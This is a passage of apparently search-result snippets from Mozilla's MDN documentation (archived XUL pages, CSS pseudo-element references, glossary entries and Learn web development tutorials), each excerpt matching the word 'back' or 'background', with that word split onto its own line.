value == "cabbage"); } </script> <wizardpage onpageshow="checkcode(); return true;"> <label value="enter the secret code:"/> <textbox id="secretcode" onkeyup="checkcode();"/> </wizardpage> <wizardpage> <label value="that is the correct secret code."/> </wizardpage> </wizard> there is also a corresponding canrewind property that you can use to enable or disable the
back button.
...thus, the
back button will be disabled on the first page so you don't have to set it yourself.
XUL Changes for Firefox 1.5 - Archive of obsolete content
bfcache mozilla now caches the page's dom, so that navigating
back and forward does not reload the page, making navigation much more efficient.
...this is used typically on gnome systems where possible values are: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-
back, properties, select-font, select-color, network.
dialog - Archive of obsolete content
tonlabelaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> <radiogroup> <radio label="red"/> <radio label="green" selected="true"/> <radio label="blue"/> </radiogroup> <label value="nickname"/> <textbox/> </groupbox> </dialog> attributes activetitlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
iframe - Archive of obsolete content
transparenttype: one of the values belowset the
background of an iframe as transparent.transparentthis results in the iframe's
background being transparent.
...most of its methods are callable directly on the element itself, such as go
back and goforward.
panel - Archive of obsolete content
attributes
backdrag, close, consumeoutsideclicks, fade, flip, ignorekeys, label, left, level, noautofocus, noautohide, norestorefocus, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, titlebar, top, type properties accessibletype, label, popupboxobject, popup, state methods hidepopup, moveto, openpopup, openpopupatscreen, sizeto examples the following example shows how a panel ...
... <panel id="thepanel"> <hbox align="start"> <image src="warning.png"/> <vbox> <description value="you have 6 new messages."/> <hbox> <button label="read mail"/> <button label="new message"/> </hbox> </vbox> </hbox> </panel> <description value="6 new messages" popup="thepanel"/> attributes
backdrag type: boolean setting the
backdrag attribute on a xul panel lets the user move the panel by clicking and dragging anywhere on its
background area.
tree - Archive of obsolete content
interfaces nsiaccessibleprovider, nsidomxultreeelement, nsidomxulmultiselectcontrolelement script examples to have alternating colors for each row, use the style rules like the following: treechildren::-moz-tree-row(selected) {
background-color: #ffffaa; } treechildren::-moz-tree-row(odd) {
background-color: #eeeeee; } treechildren::-moz-tree-row(odd, selected) {
background-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } if using a content tree view, use the following to get the value of the id attribute for each of the s...
...*/ list-style-image: url("chrome://global/skin/checkbox/cbox-check-dis.gif") } treechildren::-moz-tree-row(selected) {
background-color: #ffffaa; } treechildren::-moz-tree-row(odd) {
background-color: #eeeeee; } treechildren::-moz-tree-row(odd, selected) {
background-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } treechildren::-moz-tree-row(hover) {
background-color: #ffffaa !important;} t...
window - Archive of obsolete content
activetitlebarcolor type: color string specify
background color of the window's titlebar when it is active (foreground).
... inactivetitlebarcolor type: color string specify
background color of the window's titlebar when it is inactive (
background).
How to enable locale switching in a XULRunner application - Archive of obsolete content
your application is now going to ignore the os locale, so it would be a good idea to define one to fall
back on using the preference "general.useragent.locale".
... defaults/preferences/prefs.js /* don't inherit os locale */pref("intl.locale.matchos", "false");/* choose own fall
back locale; later it can be overridden by the user */pref("general.useragent.locale", "en-gb"); note that some distributions of xulrunner or firefox don't honour the "intl.locale.matchos" setting, so in those cases you won't be able to override the os locale [debian iceweasel bug #417961].
Using SOAP in XULRunner 1.9 - Archive of obsolete content
(there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var call
back = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, call
back); diff between jqsoapclient.js and sasoapclient.js 42c42 < v...
...; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.moz
backgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': so...
Mozilla release FAQ - Archive of obsolete content
here are a few that are specific to the mozilla newsgroups: fe = front end -- the part of mozilla that handles the interface be =
back end -- the part of mozilla that does all the behind-the-scenes stuff nspr = netscape portable runtime -- an abstraction layer over the local os gtk = a free gui toolkit native to unix qt = another gui toolkit xp = cross platform xpfe = cross-platform frontend based on nglayout m[number] = milestone release [number] (no longer used) i'm wondering how to do xxx with navigator 3.x...
...there are some important things that you can do if you don't code or care to document: ideas - if you have an idea for what you'd like to see in mozilla, post a feature request to bugzilla artwork - design new icons and other resources for mozilla use talk
back - talk
back-enabled builds help the community by letting mozilla.org members where in the code crashes occur.
2006-10-13 - Archive of obsolete content
(user feels print belongs on the context menu along with
back, reload, etc.) questions about programming for firefox a student questions how to create an extension that changes fonts, and how to capture website content before it is displayed.
... authors sara minchella (sara) dave manley (senemanley)
back to summary list ...
2006-10-26 - Archive of obsolete content
discussions should be easier to import bookmark
backups user asking for thoughts about having bookmarks manager's import wizard import from
backups in the bookmark
backups folder.
... authors sara minchella (sara) dave manley (senemanley)
back to summary list ...
2006-10-27 - Archive of obsolete content
discussions should be easier to import bookmark
backups user asking for thoughts about having bookmarks manager's import wizard import from
backups in the bookmark
backups folder.
... authors sara minchella (sara) dave manley (senemanley)
back to summary list ...
2006-12-01 - Archive of obsolete content
announcements automatic configure updated
back on november 27th j.
... paul reed announced that: the server which performs the automatic autoconf/configure generation is
back online.
2006-11-10 - Archive of obsolete content
several community members comment,
backing up benjamin's post.
...he wants to know how to create new threads using javascript for
background download operations.
NPWindow - Archive of obsolete content
ws_info unix: contains information about the plug-in's unix window environment; points to an npsetwindowcall
backstruct.
... see also npp_setwindow, np_port, npsetwindowcall
backstruct, nprect ...
Theme changes in Firefox 3.5 - Archive of obsolete content
for the windows and linux native default themes, the gripper is now drawn as a part of the
background of the scrollbar thumb widget.
... third-party themes can still draw a gripper for the scrollbar thumb button by applying a centered
background image to the scrollbar's thumb button.
Browser Detection and Cross Browser Support - Archive of obsolete content
browser detection history primer to understand why many common browser detection strategies are inappropriate, we must first look
back on how these strategies came into being.
...this lack of
backwards compatibility has been the cause of many problems for web authors, but can easily be overcome through proper authoring and browser detection strategies.
:-moz-system-metric() - Archive of obsolete content
(images-in-menus)the :-moz-system-metric(images-in-menus) css pseudo-class matches an element if the computer's user interface supports images in menus.:-moz-system-metric(mac-graphite-theme):-moz-system-metric(mac-graphite-theme) will match an element if the user has chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.:-moz-system-metric(scrollbar-end-
backward)the :-moz-system-metric(scrollbar-end-
backward) css pseudo-class will match an element if the computer's user interface includes a
backward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-end-forward)the :-moz-system-metric(scrollbar-end-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the end of scrollbars...
....:-moz-system-metric(scrollbar-start-
backward)the :-moz-system-metric(scrollbar-start-
backward) css pseudo-class will match an element if the computer's user interface includes a
backward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-start-forward)the :-moz-system-metric(scrollbar-start-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-thumb-proportional)the :-moz-system-metric(scrollbar-thumb-proportional) css pseudo-class will match an element if the computer's user interface uses proportional scrollbar thumbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the visible area of the document.:-moz-system-metric(t...
::-ms-browse - Archive of obsolete content
-ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-sty...
...nt-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-ms-browse { color: red;
background-color: yellow; } result output example specifications not part of any specification.
::-ms-clear - Archive of obsolete content
this includes inputs that appear text-like or fall
back to type="text".
... -ms-high-contrast-adjust
background-clip
background-color
background-image
background-origin
background-position-x
background-position-y
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-col...
::-ms-fill-lower - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-r...
...adius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width specifications not part of any specification.
::-ms-fill-upper - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-r...
...adius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-fill-upper specifications not part of any specification.
::-ms-fill - Archive of obsolete content
animation-name
background-clip,
background-color,
background-image,
background-origin,
background-repeat, and
background-size border border-radius box-shadow box-sizing color cursor display (values block, inline-block, none) font height margin -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and tra...
...nsform-origin visibility syntax ::-ms-fill example html <progress value="10" max="50"></progress> css progress::-ms-fill {
background-color: orange; } result a progress bar using this style might look something like this: ...
::-ms-reveal - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-r...
...adius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-reveal specifications not part of any specification.
::-ms-thumb - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-rad...
...ius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-thumb specifications not part of any specification.
::-ms-ticks-after - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-r...
...adius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-ticks-after ...
::-ms-ticks-before - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-r...
...adius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-ticks-before ...
::-ms-track - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-r...
...adius border-top-style border-top-width box-shadow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-track see also ::-ms-thumb ::-ms-fill-upper ::-ms-fill-lower ::-webkit-slider-runnable-track ::-moz-range-track css-tricks: styling cross-browser compatible range inputs with css quirksmode: styling and scripting sliders ...
::-ms-value - Archive of obsolete content
background-clip
background-color
background-image
background-origin
background-repeat
background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box-shadow box-sizing color ...
...cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top -ms-
background-position-x -ms-
background-position-y -ms-high-contrast-adjust opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-value example input::-ms-value { color: lime; font-style: italic; } to disable the default styling: select::-ms-value {
background-color: transparent; color: inherit; } specifications not part of any specification.
Processing XML with E4X - Archive of obsolete content
for
backwards compatibility, e4x defaults to ignoring comments and cdata sections.
... <name>bob smith</name> <likes> <os>linux</os> <browser>firefox</browser> <language>javascript</language> <language>python</language> </likes> </person>; alert(person.name); // bob smith alert(person['name']); // bob smith alert(person.likes.browser); // firefox alert(person['likes'].browser); // firefox if you access something with more than one matching element, you get
back an xmllist: alert(person.likes.language.length()); // 2 as with the dom, * can be used to access all child nodes: alert(person.likes.*.length()); // 4 while the .
JSObject - Archive of obsolete content
when the jsobject is passed
back to javascript, the object is unwrapped and can be used by javascript code.
... overrides: equals in class java.lang.object declaration public boolean equals(object obj)
backward compatibility javascript 1.3.
JavaArray - Archive of obsolete content
when the javaarray is passed
back to java, the array is unwrapped and can be used by java code.
...
backward compatibility javascript 1.3 and earlier the methods of java.lang.object are not inherited by javaarray.
Server-Side JavaScript - Archive of obsolete content
the simplicity of using javascript on the server was part of netscape's original vision
back in the day with netscape livewire.
... but
back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge from the netscape organization to continue to advance the state of web technologies.
Reference - Archive of obsolete content
the "
backwards compatibility" sections have been renamed to "behavior in older versions." however, i think this is only appropriate if we are going to document the evolution of everything, or at least note the most significant changes introduced in the various versions.
...perhaps a larger footnote if there are
backwards-compatibility issues involved in using that feature.
XForms Custom Controls - Archive of obsolete content
the purpose of this article is to give you enough
background information so that you'll be able to get a good start.
...there are two main groups of interfaces -> call
back interfaces that must be implemented by the custom controls and the interfaces that custom controls can use to access the mozilla xforms engine.
Archived open Web documentation - Archive of obsolete content
talk:
background-size should not the "browser compatibility" table also list google chrome and konqueror?
...the higher-order functions available on parallelarray attempted to execute in parallel, though they may fall
back to sequential execution if necessary.
GLSL Shaders - Game development
to speed up the
background code we will be using the three.js api.
...we've used three.js here to make the
background code a lot simpler and clearer to understand, so you can just focus on the shader code.
Mobile touch controls - Game development
removing the second finger, for example, won't affect the other two, and setting it
back again will use the first available property, so pointer2 will be used again.
... an additional advantage of using phaser is that the buttons you create will take any type of input, whether it's a touch on mobile or a click on desktop — the framework sorts this out in the
background for you.
Finishing up - Game development
at the very bottom of the draw() function (just before the closing curly brace), add in the following line, which causes the draw() function to call itself over and over again: requestanimationframe(draw); the draw() function is now getting executed again and again within a requestanimationframe() loop, but instead of the fixed 10 milliseconds frame rate, we are giving control of the framerate
back to the browser.
... you could also go
back to this tutorial series' index page.
Buttons - Game development
add the following lines to the bottom of your create() function: startbutton = game.add.button(game.world.width*0.5, game.world.height*0.5, 'button', startgame, this, 1, 0, 2); startbutton.anchor.set(0.5); the button() method's parameters are as follows: the button's x and y coordinates the name of the graphic asset to be displayed for the button a call
back function that will be executed when the button is pressed a reference to this to specify the execution context the frames that will be used for the over, out and down events.
... finally for this section, go
back into your create() function, find the ball.body.velocity.set(150, -150); line, and remove it.
2D maze game with device orientation - Game development
you can create this yourself if you want to follow along: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>cyber orb demo</title> <style> body { margin: 0;
background: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/preloader.js"></script> <script src="src/mainmenu.js"></script> <script src="src/howto.js"></script> <script src="src/game.js"></script> </head> <body> <script> (function() { var game = new phaser.game(320, 480, phaser.canvas, 'gam...
...
back to game states: the line below is adding a new state called boot to the game: game.state.add('boot', ball.boot); the first value is the name of the state and the second one is the object we want to assign to it.
Alpha (alpha channel) - MDN Web Docs Glossary: Definitions of Web-related terms
to represent a color through which the
background can be seen to some extent, a fourth channel is added to the color: the alpha channel.
... as you can see, the color without an alpha channel completely blocks the
background text, while the box with the alpha channel leaves it visible through the purple
background color.
Canonical order - MDN Web Docs Glossary: Definitions of Web-related terms
for example,
background shorthand property values are made up of several
background-* longhand properties.
... the canonical order of those longhand values is defined as
background-image
background-position
background-size
background-repeat
background-attachment
background-origin
background-clip
background-color furthermore, its syntax defines, that if a value for the
background-size is given, it must be specified after the value for the
background-position, separated by a slash.
First contentful paint - MDN Web Docs Glossary: Definitions of Web-related terms
first contentful paint (fcp) is when the browser renders the first bit of content from the dom, providing the first feed
back to the user that the page is actually loading.
... the first contentful paint time stamp is when the browser first rendered any text, image (including
background images), non-white canvas or svg.
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
graceful degradation is a design philosophy that centers around trying to build a modern web site/application that will work in the newest browsers, but falls
back to an experience that while not as good still delivers essential content and functionality in older browsers.
... polyfills can be used to build in missing features with javascript, but acceptable alternatives to features like styling and layout should be provided where possible, for example by using the css cascade, or html fall
back behaviour.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
going
back to our shopping list app, the model would specify what data the list items should contain — item, price, etc.
... in the early days of the web, mvc architecture was mostly implemented on the server-side, with the client requesting updates via forms or links, and receiving updated views
back to display in the browser.
TCP handshake - MDN Web Docs Glossary: Definitions of Web-related terms
the three message mechanism is designed so that two computers that want to pass information
back and forth to each other can negotiate the parameters of the connection before transmitting data such as http browser requests.
...the server receives the syn and sends
back a synchronize-acknowledgement.
MDN Web Docs Glossary: Definitions of Web-related terms
bigint blink block block (css) block (scripting) block cipher mode of operation boolean boot2gecko bootstrap bounding box breadcrumb brotli browser browsing context buffer c cache cacheable caldav call stack call
back function canonical order canvas card sorting carddav caret cdn certificate authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client h...
...signaling) dynamic programming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f fall
back alignment falsy favicon fetch directive fetch metadata request header firefox os firewall first contentful paint first cpu idle first input delay first interactive first meaningful paint first paint first-class function flex flex container flex item ...
WAI-ARIA basics - Learn web development
we discussed this in more detail and showed a typical implementation
back in our html accessibility article — see building keyboard accessibility
back in.
...basically, you can add keyboard accessibility
back in without too much trouble in many cases, using tabindex and a bit of javascript.
A cool-looking box - Learn web development
objective: to test comprehension of the css box model and other box-related features such as borders and
backgrounds.
...give the box this color as its
background color.
Debugging CSS - Learn web development
take a step
back from the problem any coding problem can be frustrating, especially css problems because you often don't get an error message to search for online to help with finding a solution.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Handling different text directions - Learn web development
you can check any property page on mdn to see how far
back the browser support goes.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Combinators - Learn web development
if you insert some other element such as a <h2> in between the <h1> and the <p>, you will find that the paragraph is no longer matched by the selector and so does not get the
background and foreground color applied when the element is adjacent.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS selectors - Learn web development
you can use this as a reference to come
back to when you need to look up selectors later in the material, or as you experiment with css generally.
...ombinator child combinator article > p child combinator adjacent sibling combinator h1 + p adjacent sibling general sibling combinator h1 ~ p general sibling in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Flexbox - Learn web development
you can always refer
back to it if you get confused about any of the terms being used.
... try adding the following declaration to your <section> rule: flex-direction: column; you'll see that this puts the items
back in a column layout, much like they were before we added any css.
Beginner's guide to media queries - Learn web development
walkthrough: a simple mobile-first layout our starting point is an html document with some css applied to add
background colors to the various parts of the layout.
... * { box-sizing: border-box; } body { width: 90%; margin: 2em auto; font: 1em/1.3 arial, helvetica, sans-serif; } a:link, a:visited { color: #333; } nav ul, aside ul { list-style: none; padding: 0; } nav a:link, nav a:visited {
background-color: rgba(207, 232, 220, 0.2); border: 2px solid rgb(79, 185, 227); text-decoration: none; display: block; padding: 10px; color: #333; font-weight: bold; } nav a:hover {
background-color: rgba(207, 232, 220, 0.7); } .related {
background-color: rgba(79, 185, 227, 0.3); border: 1px solid rgb(79, 185, 227); padding: 10px; } .sidebar {
background-color: rgba(207, 232, 220, 0.5); padding: 10px; } article { margin-bottom: 1em; } we've made no layout changes, however th...
How CSS works - Learn web development
again, the html is as follows: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> let's suppose we apply the following css to it: span { border: 1px solid black;
background-color: lime; } the browser will parse the html and create a dom from it, then parse the css.
...i might give a fall
back width for a box in pixels, then go on to give a width with a calc() value of 100% - 50px.
What is CSS? - Learn web development
for example, you could take a look at the mdn reference to the
backgrounds and borders module to find out what its purpose is, and what different properties and other features it contains.
... for a specific example, let's go
back to the
backgrounds and borders module — you might think that it makes logical sense for the
background-color and border-color properties to be defined in this module.
CSS FAQ - Learn web development
modern browsers have two main rendering modes: quirks mode: also called
backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers.
... <style type="text/css"> .news {
background: black; color: white; } .today { font-weight: bold; } </style> <div class="news today"> ...
What are browser developer tools? - Learn web development
this will give you a window like the following: to see what happens, try entering the following snippets of code into the console one by one (and then pressing enter): alert('hello!'); document.queryselector('html').style.
backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mywordmark.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); now try entering the following incorrect versions of the code and see what you get.
... alert('hello!); document.cheeseselector('html').style.
backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); you'll start to see the kind of errors that the browser returns.
What is a web server? - Learn web development
when the request reaches the correct (hardware) web server, the (software) http server accepts the request, finds the requested document, and sends it
back to the browser, also through http.
... if so, the web server sends the file content
back to the browser.
Example 2 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index ...
...: 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } java...
Sending forms through JavaScript - Learn web development
when the user tries to send the data, the application takes control and transmits the data asynchronously in the
background, updating only the parts of the ui that require changes.
... if you control the front-end (the code that's executed in the browser) and the
back-end (the code which is executed on the server), you can send json/xml and process them however you want.
Dealing with files - Learn web development
styles folder: this folder will contain the css code used to style your content (for example, setting text and
background colors).
... note: the windows file system tends to use
backslashes, not forward slashes, e.g.
How the Web works - Learn web development
this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the
background.
...here it is", and then starts sending the website's files to the browser as a series of small chunks called data packets (the shop gives you your goods, and you bring them
back to your house).
Getting started with the Web - Learn web development
what
background images and colors should be used to decorate your website?
... how the web works when you access your favorite website, a lot of complicated things happen in the
background that you may not know about.
What’s in the head? Metadata in HTML - Learn web development
a favicon can be added to your page by: saving it in the same directory as the site's index page, saved in .ico format (most browsers will support favicons in more common formats like .gif or .png, but using the ico format will ensure it works as far
back as internet explorer 6.) adding the following line into your html's <head> block to reference it: <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"> here is an example of a favicon in a bookmarks panel: there are lots of other icon types to consider these days as well.
... the css has caused the
background to go green, and the text to become bigger.
Making asynchronous programming easier with async and await - Learn web development
rewriting promise code with async/await let's look
back at a simple fetch example that we saw in the previous article: fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new error(`http error!
...on encountering a browser that does not support async/await, babel's polyfill can automatically provide fall
backs that work in older browsers.
Test your skills: Events - Learn web development
events 1 in our first events-related task, you need to create a simple event handler that causes the text inside the button (btn) to change when it is clicked on, and change
back when it is clicked again.
...</div>), which when invoked by clicking any of the buttons will set the
background of the button-bar to the color contained in the button's data-color attribute.
Third-party APIs - Learn web development
(at the time of writing, it was called a "consumer key" on the site, and the key creation process also asked for an optional "call
back url".
...o stop the form submitting e.preventdefault(); // assemble the full url url = baseurl + '?api-key=' + key + '&page=' + pagenumber + '&q=' + searchterm.value + '&fq=document_type:("article")'; if(startdate.value !== '') { url += '&begin_date=' + startdate.value; }; if(enddate.value !== '') { url += '&end_date=' + enddate.value; }; } submitsearch() sets the page number
back to 0 to begin with, then calls fetchresults().
Client-side web APIs - Learn web development
video and audio apis html5 comes with elements for embedding rich media in documents — <video> and <audio> — which in turn come with their own apis for controlling play
back, seeking, etc.
... this article shows you how to do common tasks such as creating custom play
back controls.
Test your skills: Math - Learn web development
try updating the live code below to recreate the finished example, following these steps: write a calculation that multiplies result and result2 together and assigns the result
back to result.
...go
back and update the original calculations you were provided with so that they give this final result.
Adding features to our bouncing balls demo - Learn web development
it might be a good idea to save a separate copy of the demo after you get each stage working, so you can refer
back to it if you find yourself in trouble later on.
... inside the if() statements, if the tests return true we don't want to update velx/vely; we want to instead change the value of x/y so the evil circle is bounced
back onto the screen slightly.
CSS performance optimization - Learn web development
will-change: opacity, transform; the font-display property applied to the @font-face rule, the font-display property defines how font files are loaded and displayed by the browser, allowing text to appear with a fall
back font while a font loads, or fails to load.
... @font-face { font-family: somefont; src: url(/path/to/fonts/somefont.woff) format('woff'); font-weight: 400; font-style: normal; font-display: fall
back; } the contain property the contain css property allows an author to indicate that an element and its contents are, as much as possible, independent of the rest of the document tree.
Web performance - Learn web development
in this article we discuss the impact video content has on performance, and cover tips like removing audio tracks from
background videos can improve performance.
...once optimized, how can you ensure bloat doesn't come
back?
Learning area release notes - Learn web development
check
back here if you want to know what new content is available, and what existing content has been improved.
... if you want to give feed
back on any of these new additions, please leave comments in our discourse forum.
